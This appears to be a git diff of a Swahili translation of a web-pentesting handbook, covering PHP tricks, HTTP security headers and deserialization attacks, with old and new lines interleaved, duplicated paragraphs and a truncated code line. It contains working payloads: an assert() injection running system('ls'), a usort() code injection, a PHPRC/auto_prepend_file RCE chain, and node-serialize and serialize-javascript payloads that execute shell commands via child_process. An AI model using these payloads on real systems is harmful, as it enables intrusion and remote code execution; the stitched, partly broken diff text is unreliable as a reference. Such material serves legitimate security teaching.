- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia yao inajirudia). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani mfano $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kuandika upya mabadiliko\*\* yanayotumika ndani ya msimbo.
- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia yao inajirudia). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kuandika upya mabadiliko\*\* yanayotumika ndani ya msimbo.
- **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nayo katika path2).
- Unapokuwa na **majina ya watumiaji** wa mashine. Angalia anwani: **/\~\<USERNAME>** ili kuona ikiwa saraka za php zimewezeshwa.
- Ikiwa usanidi wa php una **`register_argc_argv = On`** basi vigezo vya uchunguzi vilivyotenganishwa na nafasi vinatumika kujaza orodha ya vigezo **`array_keys($_SERVER['argv'])`** kama vile vilikuwa **vigezo kutoka CLI**. Hii ni ya kuvutia kwa sababu ikiwa **usimamizi huo umezimwa**, thamani ya **args array itakuwa `Null`** wakati inaitwa kutoka mtandao kwani orodha ya ars haitajazwa. Hivyo, ikiwa ukurasa wa wavuti unajaribu kuangalia ikiwa unafanya kazi kama zana ya wavuti au kama zana ya CLI kwa kulinganisha kama `if (empty($_SERVER['argv'])) {` mshambuliaji anaweza kutuma **vigezo katika ombi la GET kama `?--configPath=/lalala`** na itafikiri inafanya kazi kama CLI na inaweza kuchambua na kutumia vigezo hivyo. Maelezo zaidi katika [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
Hizi kazi kwa kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa zaidi ya 72bytes kwa kutumia algorithimu hii, ni zile 72B za kwanza pekee zitakazotumika:
Hizi kazi kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba tu 72B za kwanza zitatumika:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -185,7 +186,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
#### Kujaza mwili kabla ya kuweka vichwa
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu ya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\
Katika hali ifuatayo, **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (kwa hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
Katika hali ifuatayo, **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
![](<../../../images/image (1085).png>)
@ -210,8 +211,8 @@ php-ssrf.md
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Ili kutekeleza msimbo katika hoja ya "replace" inahitajika angalau mechi moja.\
Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.**
Ili kutekeleza msimbo katika "replace" inahitajika angalau mechi moja.\
Chaguo hili la preg_replace limekuwa **deprecated kuanzia PHP 5.5.0.**
### **RCE kupitia Eval()**
```
@ -223,16 +224,16 @@ Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.**
```
### **RCE kupitia Assert()**
Hii kazi ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuatano** ili **kurudisha kweli au uongo** (na kulingana na hii kubadilisha utekelezaji). Kawaida, kigezo cha mtumiaji kitaingizwa katikati ya mfuatano. Kwa mfano:\
Kazi hii ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuatano** ili **kurudisha kweli au uongo** (na kulingana na hii kubadilisha utekelezaji). Kawaida, kigezo cha mtumiaji kitaingizwa katikati ya mfuatano. Kwa mfano:\
`assert("strpos($_GET['page']),'..') === false")` --> Katika kesi hii ili kupata **RCE** unaweza kufanya:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Unahitaji **kuvunja** sintaksia ya **kod**i, **kuongeza** **payload** yako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" hazifanyi kazi kwa sababu ikiwa hali ya kwanza ni ya kweli payload yetu haitatekelezwa. Njia ile ile ";" haitafanya kazi kwani payload yetu haitatekelezwa.
Unahitaji **kuvunja** sintaksia ya **kanuni**, **kuongeza** payload yako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" hazifanyi kazi kwa sababu ikiwa hali ya kwanza ni ya kweli payload yetu haitatekelezwa. Njia ile ile ";" haitafanya kazi kwani payload yetu haitatekelezwa.
**Chaguo lingine** ni kuongeza kwenye mfuatano utekelezaji wa amri: `'.highlight_file('.passwd').'`
**Chaguo lingine** (ikiwa una msimbo wa ndani) ni kubadilisha baadhi ya vigezo ili kubadilisha utekelezaji: `$file = "hola"`
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya vigezo ili kubadilisha utekelezaji: `$file = "hola"`
### **RCE kupitia usort()**
@ -259,7 +260,7 @@ usort();}phpinfo;#, "cmp");
```
You can also use **//** kuandika maoni ya sehemu nyingine ya msimbo.
Ili kugundua idadi ya mabano unayohitaji kufunga:
Ili kugundua idadi ya mabano unahitaji kufunga:
- `?order=id;}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ';'`). Huenda tunakosa moja au zaidi ya mabano.
- `?order=id);}//`: tunapata **onyo**. Hii inaonekana kuwa sawa.
@ -275,11 +276,11 @@ Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wiregho
Ikiwa unapata udhaifu unaokuruhusu **kubadilisha env variables katika PHP** (na nyingine moja ya kupakia faili, ingawa kwa utafiti zaidi huenda hii ikapita), unaweza kutumia tabia hii kupata **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba za kiholela unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
- **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **mahali pa kupata faili yake ya usanidi**, ambayo kwa kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingiza ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina msimbo wa kawaida wa **PHP, ambao kisha unatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
1. Pakia faili ya PHP inayoshikilia shellcode yetu
2. Pakia faili ya pili, inayoshikilia maagizo ya **`auto_prepend_file`** ikielekeza preprocessor ya PHP kutekeleza faili tulilopakia katika hatua ya 1
3. Weka variable ya `PHPRC` kwa faili tulilopakia katika hatua ya 2.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
- **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **wapi kupatikana faili lake la usanidi**, ambalo kawaida huitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingiza ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina **PHP code ya kawaida, ambayo kisha inatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
1. Pakia faili ya PHP yenye shellcode yetu
2. Pakia faili ya pili, yenye **`auto_prepend_file`** ikielekeza preprocessor ya PHP kutekeleza faili tulilopakia katika hatua ya 1
3. Weka variable `PHPRC` kwa faili tulilopakia katika hatua ya 2.
- Pata maelezo zaidi kuhusu jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - chaguo jingine
- Ikiwa **huwezi kupakia faili**, unaweza kutumia katika FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
@ -312,7 +313,7 @@ phpinfo();
## PHP Sanitization bypass & Brain Fuck
[**Katika chapisho hili**](https://blog.redteam-pentesting.de/2024/moodle-rce/) inawezekana kupata mawazo mazuri ya kuunda msimbo wa brain fuck PHP kwa herufi chache sana zinazoruhusiwa.\
Zaidi ya hayo, pia inashauriwa njia ya kuvutia ya kutekeleza kazi ambazo ziliruhusu kupita ukaguzi kadhaa:
Zaidi ya hayo, pia inashauriwa njia ya kuvutia ya kutekeleza kazi ambazo ziliwaruhusu kupita ukaguzi kadhaa:
```php
(1)->{system($_GET[chr(97)])}
```
@ -358,7 +359,7 @@ Ikiwa katika ukurasa unaweza **kuunda kitu kipya cha darasa lolote** unaweza kuw
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
{{#endref}}
## Teua PHP bila herufi
## Tekeleza PHP bila herufi
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)

View File

@ -83,7 +83,8 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
## Range requests
- **`Accept-Ranges`**: Indicates if the server supports range requests, and if so in which unit the range can be expressed. `Accept-Ranges: <range-unit>`
- **`Range`**: Indicates the part of a document that the server should return.
- **`Range`**: Indicates the part of a document that the server should return. For example, `Range:80-100` will return the bytes 80 to 100 of the original response with a status code of 206 Partial Content. Also remember to remove the `Accept-Encoding` header from the request.
- This could be useful to get a response with arbitrary reflected javascript code that otherwise could be escaped. But to abuse this you would need to inject this headers in the request.
- **`If-Range`**: Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
- **`Content-Range`**: Indicates where in a full body message a partial message belongs.
@ -107,8 +108,8 @@ For example a combination of **`Range`** and **`Etag`** in a HEAD request can le
## Controls
- **`Allow`**: Header hii inatumika kuwasilisha mbinu za HTTP ambazo rasilimali inaweza kushughulikia. Kwa mfano, inaweza kuainishwa kama `Allow: GET, POST, HEAD`, ikionyesha kwamba rasilimali inasaidia mbinu hizi.
- **`Expect`**: Inatumika na mteja kuwasilisha matarajio ambayo seva inahitaji kutimiza ili ombi lilipwe kwa mafanikio. Matumizi ya kawaida yanahusisha kichwa cha `Expect: 100-continue`, ambacho kinadhihirisha kwamba mteja anakusudia kutuma mzigo mkubwa wa data. Mteja anatazamia jibu la `100 (Continue)` kabla ya kuendelea na uhamasishaji. Mekanismu hii inasaidia kuboresha matumizi ya mtandao kwa kusubiri uthibitisho wa seva.
- **`Allow`**: This header is used to communicate the HTTP methods a resource can handle. For example, it might be specified as `Allow: GET, POST, HEAD`, indicating that the resource supports these methods.
- **`Expect`**: Utilized by the client to convey expectations that the server needs to meet for the request to be processed successfully. A common use case involves the `Expect: 100-continue` header, which signals that the client intends to send a large data payload. The client looks for a `100 (Continue)` response before proceeding with the transmission. This mechanism helps in optimizing network usage by awaiting server confirmation.
## Downloads
@ -147,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
Kichwa hiki kinazuia upimaji wa aina ya MIME, mbinu ambayo inaweza kusababisha udhaifu wa XSS. Kinahakikisha kwamba vivinjari vinaheshimu aina za MIME zilizotajwa na seva.
Kichwa hiki kinazuia upimaji wa aina ya MIME, mbinu ambayo inaweza kusababisha udhaifu wa XSS. Kinahakikisha kwamba vivinjari vinaheshimu aina za MIME zilizotolewa na seva.
```
X-Content-Type-Options: nosniff
```
@ -157,17 +158,17 @@ Ili kupambana na clickjacking, kichwa hiki kinapunguza jinsi hati zinavyoweza ku
```
X-Frame-Options: DENY
```
### **Sera ya Rasilimali za Mipaka ya Msalaba (CORP) na Kushiriki Rasilimali za Mipaka ya Msalaba (CORS)**
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
CORP ni muhimu kwa kubaini rasilimali zipi zinaweza kupakuliwa na tovuti, ikipunguza uvujaji wa taarifa kati ya tovuti. CORS, kwa upande mwingine, inaruhusu mfumo wa kushiriki rasilimali za mipaka ya msalaba kwa njia rahisi, ikirekebisha sera ya asili sawa chini ya hali fulani.
CORP ni muhimu kwa kubainisha ni rasilimali zipi zinaweza kupakiwa na tovuti, ikipunguza leaks za tovuti tofauti. CORS, kwa upande mwingine, inaruhusu mfumo wa kushiriki rasilimali za asili tofauti kwa njia ya kubadilika zaidi, ikirelax sera ya asili sawa chini ya hali fulani.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
### **Sera ya Kuingiza Mipaka ya Msalaba (COEP) na Sera ya Kufungua Mipaka ya Msalaba (COOP)**
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
COEP na COOP ni muhimu kwa kuwezesha kutengwa kwa mipaka ya msalaba, kupunguza kwa kiasi kikubwa hatari ya mashambulizi kama ya Spectre. Zinadhibiti upakiaji wa rasilimali za msalaba na mwingiliano na madirisha ya msalaba, mtawalia.
COEP na COOP ni muhimu kwa kuwezesha kutengwa kwa mipaka ya asili, kupunguza kwa kiasi kikubwa hatari ya mashambulizi kama ya Spectre. Zinadhibiti upakiaji wa rasilimali za mipaka tofauti na mwingiliano na madirisha ya mipaka tofauti, mtawalia.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
@ -178,7 +179,7 @@ Mwisho, HSTS ni kipengele cha usalama ambacho kinawalazimisha vivinjari kuwasili
```
Strict-Transport-Security: max-age=3153600
```
## Marejeo
## Marejeleo
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)

View File

@ -15,8 +15,8 @@ Deserialization inaweza kuwa hatari kwa sababu inaweza **kuruhusu washambuliaji
Katika PHP, mbinu maalum za kichawi hutumiwa wakati wa mchakato wa serialization na deserialization:
- `__sleep`: Inaitwa wakati kitu kinaposajiliwa. Mbinu hii inapaswa kurudisha orodha ya majina ya mali zote za kitu ambazo zinapaswa kusajiliwa. Inatumika mara nyingi kuhifadhi data inayosubiri au kufanya kazi za kusafisha zinazofanana.
- `__wakeup`: Inaitwa wakati kitu kinaposajiliwa tena. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena.
- `__unserialize`: Mbinu hii inaitwa badala ya `__wakeup` (ikiwa inapatikana) wakati kitu kinaposajiliwa tena. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na `__wakeup`.
- `__wakeup`: Inaitwa wakati kitu kinaposajiliwa. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena.
- `__unserialize`: Mbinu hii inaitwa badala ya `__wakeup` (ikiwa inapatikana) wakati kitu kinaposajiliwa. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na `__wakeup`.
- `__destruct`: Mbinu hii inaitwa wakati kitu kinakaribia kuharibiwa au wakati script inamalizika. Inatumika kawaida kwa kazi za kusafisha, kama kufunga mikono ya faili au uhusiano wa database.
- `__toString`: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kwa kusoma faili au kazi nyingine kulingana na wito wa kazi ndani yake, ikitoa kwa ufanisi uwakilishi wa maandiko wa kitu.
```php
@ -94,7 +94,7 @@ Unaweza kusoma mfano wa **PHP ulioelezewa hapa**: [https://www.notsosecure.com/r
### PHP Deserial + Autoload Classes
Unaweza kutumia vibaya kazi ya autoload ya PHP ili kupakia faili za php zisizo na mpangilio na zaidi:
Unaweza kutumia kazi ya autoload ya PHP kuleta faili za php zisizo na mpangilio na zaidi:
{{#ref}}
php-deserialization-+-autoload-classes.md
@ -115,11 +115,11 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### PHPGGC (ysoserial kwa PHP)
### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) inaweza kusaidia katika kuunda payloads za kutumia PHP deserializations.\
Kumbuka kwamba katika kesi kadhaa huenda **usipate njia ya kutumia deserialization katika msimbo wa chanzo** wa programu lakini unaweza kuwa na uwezo wa **kutumia msimbo wa nyongeza za PHP za nje.**\
Hivyo, ikiwa unaweza, angalia `phpinfo()` ya seva na **tafuta mtandaoni** (hata kwenye **gadgets** za **PHPGGC**) baadhi ya gadgets zinazoweza kutumika.
Kumbuka kwamba katika kesi kadhaa huwezi kupata njia ya kutumia deserialization katika msimbo wa chanzo wa programu lakini unaweza kuwa na uwezo wa **kutumia msimbo wa nyongeza za PHP za nje.**\
Hivyo, ikiwa unaweza, angalia `phpinfo()` ya seva na **tafuta mtandaoni** (hata kwenye **gadgets** za **PHPGGC**) baadhi ya gadgets zinazoweza kutumiwa.
### phar:// metadata deserialization
@ -170,9 +170,9 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **haina "magic" functions** kama PHP au Python ambazo zitatekelezwa tu kwa ajili ya kuunda kitu. Lakini ina **functions** ambazo zinatumika **mara kwa mara hata bila kuziita moja kwa moja** kama **`toString`**, **`valueOf`**, **`toJSON`**.\
Ikiwa unatumia deserialization unaweza **kudhulumu hizi functions ili kutekeleza code nyingine** (kwa kutumia prototype pollutions) unaweza kutekeleza code isiyo na mipaka wanapoitwa.
Ikiwa unatumia deserialization unaweza **kudhulumu hizi functions ili kutekeleza code nyingine** (kwa kuweza kudhulumu prototype pollutions) unaweza kutekeleza code isiyo na mipaka wanapoitwa.
Njia nyingine **"magic" ya kuita function** bila kuikalia moja kwa moja ni kwa **kudhulumu kitu ambacho kinarejeshwa na function ya async** (ahadi). Kwa sababu, ikiwa **unabadilisha** hicho **kitu kinachorejeshwa** kuwa ahadi nyingine yenye **sifa** inayoitwa **"then" ya aina function**, itatekelezwa **tu kwa sababu inarejeshwa na ahadi nyingine. _Fuata_ [_**kiungo hiki**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _kwa maelezo zaidi._
Njia nyingine **"magic" ya kuita function** bila kuikalia moja kwa moja ni kwa **kudhulumu kitu ambacho kinarejeshwa na function ya async** (ahadi). Kwa sababu, ikiwa **unabadilisha** hicho **kitu kinachorejeshwa** kuwa ahadi nyingine yenye **sifa** inayoitwa **"then" ya aina function**, itatekelezwa **tu kwa sababu inarejeshwa na ahadi nyingine.** _Fuata_ [_**kiungo hiki**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _kwa maelezo zaidi._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -219,11 +219,11 @@ var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
```
**kipande kilichopangwa** kitaonekana kama:
**Kitu kilichosajiliwa** kitaonekana kama:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
Unaweza kuona katika mfano kwamba wakati kazi inas_serialized, bendera `_$$ND_FUNC$$_` inaongezwa kwenye kitu kilichos_serialized.
Unaweza kuona katika mfano kwamba wakati kazi inasajiliwa, bendera `_$$ND_FUNC$$_` inaongezwa kwenye kitu kilichosajiliwa.
Ndani ya faili `node-serialize/lib/serialize.js` unaweza kupata bendera hiyo hiyo na jinsi msimbo unavyotumia hiyo.
@ -231,11 +231,11 @@ Ndani ya faili `node-serialize/lib/serialize.js` unaweza kupata bendera hiyo hiy
![](<../../images/image (446).png>)
Kama unavyoona katika kipande cha mwisho cha msimbo, **ikiwa bendera imepatikana** `eval` inatumika ku_deserialize kazi, hivyo kimsingi **ingizo la mtumiaji linatumika ndani ya kazi ya `eval`**.
Kama unavyoona katika kipande cha mwisho cha msimbo, **ikiwa bendera imepatikana** `eval` inatumika kusafisha kazi, hivyo kimsingi **ingizo la mtumiaji linatumika ndani ya kazi ya `eval`**.
Hata hivyo, **ku_serialized** kazi **hakutatekeleza** kwani itahitajika sehemu fulani ya msimbo **kuitisha `y.rce`** katika mfano wetu na hiyo ni **ngumu sana**.\
Hata hivyo, unaweza tu **kubadilisha kitu kilichos_serialized** **kwa kuongeza mabano** ili kutekeleza kiotomatiki kazi iliyos_serialized wakati kitu kinapo_deserialize.\
Katika kipande kijacho cha msimbo **angalia mabano ya mwisho** na jinsi kazi ya `unserialize` itatekeleza msimbo kiotomatiki:
Hata hivyo, **kusaidia tu** kazi **hakutatekeleza** kwani itahitajika sehemu fulani ya msimbo **kuitisha `y.rce`** katika mfano wetu na hiyo ni **ngumu sana**.\
Hata hivyo, unaweza tu **kubadilisha kitu kilichosajiliwa** **kwa kuongeza mabano** ili kutekeleza kiotomatiki kazi iliyosajiliwa wakati kitu kinaposafishwa.\
Katika kipande kijacho cha msimbo **angalia mabano ya mwisho** na jinsi kazi ya `unserialize` itatekeleza kiotomatiki msimbo:
```javascript
var serialize = require("node-serialize")
var test = {
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Kama ilivyosemwa awali, maktaba hii itapata msimbo baada ya `_$$ND_FUNC$$_` na itau **tekeleza** kwa kutumia `eval`. Hivyo, ili **kuji-tekeleza msimbo** unaweza **kufuta sehemu ya uundaji wa kazi** na paranthesi ya mwisho na **kuendesha tu JS oneliner** kama katika mfano ufuatao:
Kama ilivyosemwa awali, maktaba hii itapata msimbo baada ya `_$$ND_FUNC$$_` na itau **tekeleza** kwa kutumia `eval`. Hivyo, ili **kuji-tekeleza msimbo** unaweza **kufuta sehemu ya uundaji wa kazi** na mzizi wa mwisho na **ku-tekeleza tu JS oneliner** kama katika mfano ufuatao:
```javascript
var serialize = require("node-serialize")
var test =
@ -254,7 +254,7 @@ You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-
### [funcster](https://www.npmjs.com/package/funcster)
Asilimia muhimu ya **funcster** ni ukosefu wa upatikanaji wa **vitu vya ndani vilivyojengwa**; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vya ndani, na kusababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumika.
Jambo muhimu kuhusu **funcster** ni ukosefu wa upatikanaji wa **vitu vya ndani vilivyojengwa**; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vya ndani, na kusababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumika.
Licha ya kikomo hiki, urejeleaji wa upatikanaji kamili wa muktadha wa kimataifa, ikiwa ni pamoja na vitu vyote vya ndani vilivyojengwa, inawezekana kupitia njia maalum. Kwa kutumia muktadha wa kimataifa moja kwa moja, mtu anaweza kupita kikomo hiki. Kwa mfano, upatikanaji unaweza kurejelewa kwa kutumia kipande kifuatacho:
```javascript
@ -282,13 +282,13 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Kifurushi cha **serialize-javascript** kimeundwa mahsusi kwa ajili ya kusawazisha, hakina uwezo wowote wa kujisawazisha. Watumiaji wanawajibika kutekeleza njia zao za kujisawazisha. Matumizi ya moja kwa moja ya `eval` yanapendekezwa na mfano rasmi wa kujisawazisha data iliyosawazishwa:
Kifurushi cha **serialize-javascript** kimeundwa mahsusi kwa ajili ya kusawazisha, hakina uwezo wowote wa ndani wa kusafisha. Watumiaji wanawajibika kutekeleza njia zao za kusafisha. Matumizi ya moja kwa moja ya `eval` yanapendekezwa na mfano rasmi wa kusafisha data iliyosawazishwa:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
Ikiwa kazi hii inatumika kuunda tena vitu unaweza **kuifanyia matumizi kwa urahisi**:
Ikiwa kazi hii inatumika kuondoa vitu, unaweza **kuifanyia matumizi kwa urahisi**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -306,14 +306,14 @@ deserialize(test)
### Maktaba ya Cryo
Katika kurasa zinazofuata unaweza kupata taarifa kuhusu jinsi ya kutumia vibaya maktaba hii ili kutekeleza amri zisizo na mipaka:
Katika kurasa zifuatazo unaweza kupata taarifa kuhusu jinsi ya kutumia vibaya maktaba hii ili kutekeleza amri zisizo na mipaka:
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP
Katika Java, **kurejesha maoni ya deserialization hufanyika wakati wa mchakato wa deserialization**. Utendaji huu unaweza kutumiwa na washambuliaji wanaounda payload hatari zinazochochea maoni haya, na kusababisha utekelezaji wa vitendo vya hatari.
Katika Java, **kurejelewa kwa deserialization kunatekelezwa wakati wa mchakato wa deserialization**. Utendaji huu unaweza kutumiwa na washambuliaji wanaounda payload hatari zinazochochea kurejelewa hizi, na kusababisha utekelezaji wa vitendo vya hatari.
### Alama za Kidole
@ -327,7 +327,7 @@ Ili kubaini uwezekano wa udhaifu wa serialization katika msimbo, tafuta:
Zingatia kwa makini:
- `XMLDecoder` inayotumika na vigezo vilivyofafanuliwa na watumiaji wa nje.
- Njia ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuwa na matatizo ya serialization.
- Njia ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuwa hatarini kwa masuala ya serialization.
- `ObjectInputStream` iliyoambatanishwa na njia ya `readObject`.
- Utekelezaji wa njia kama `readObject`, `readObjectNodData`, `readResolve`, au `readExternal`.
- `ObjectInputStream.readUnshared`.
@ -335,20 +335,20 @@ Zingatia kwa makini:
#### Sanduku la Black
Kwa upimaji wa sanduku la black, angalia **sahihi maalum au "Magic Bytes"** zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na `ObjectInputStream`):
Kwa upimaji wa sanduku la black, tafuta **sahihi maalum au "Magic Bytes"** zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na `ObjectInputStream`):
- Mchoro wa hexadecimal: `AC ED 00 05`.
- Mchoro wa Base64: `rO0`.
- Vichwa vya majibu ya HTTP vyenye `Content-type` vilivyowekwa kuwa `application/x-java-serialized-object`.
- Mchoro wa hexadecimal unaoashiria kubana awali: `1F 8B 08 00`.
- Mchoro wa Base64 unaoashiria kubana awali: `H4sIA`.
- Vichwa vya majibu ya HTTP vilivyo na `Content-type` vilivyowekwa kuwa `application/x-java-serialized-object`.
- Mchoro wa hexadecimal unaoashiria kufungwa kwa awali: `1F 8B 08 00`.
- Mchoro wa Base64 unaoashiria kufungwa kwa awali: `H4sIA`.
- Faili za wavuti zenye kiambishi cha `.faces` na parameter ya `faces.ViewState`. Kugundua mifumo hii katika programu ya wavuti inapaswa kusababisha uchunguzi kama ilivyoelezwa katika [post kuhusu Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
```
